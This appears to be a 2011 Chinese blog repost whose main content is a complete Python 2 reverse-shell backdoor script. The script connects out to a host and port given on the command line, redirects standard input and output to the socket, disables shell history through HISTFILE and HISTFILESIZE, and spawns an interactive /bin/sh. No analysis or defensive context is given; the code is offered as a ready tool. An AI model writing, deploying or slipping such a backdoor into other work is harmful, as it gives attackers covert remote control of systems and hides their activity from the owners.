您的位置:首页 > 运维架构 > Shell

python编写ttyshell的反向链接后门

2011-05-18 23:20 351 查看
#-*- coding: utf-8 -*-
import sys
import os
import socket
import pty
shell = "/bin/sh"
def usage(programname):
print "ython connect-back door"
print "Usage: %s " % programname

def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+]Connect OK."
except:
print "[-]Can't connect"
sys.exit(2)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn(shell)
s.close()

if __name__ == "__main__":
main()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: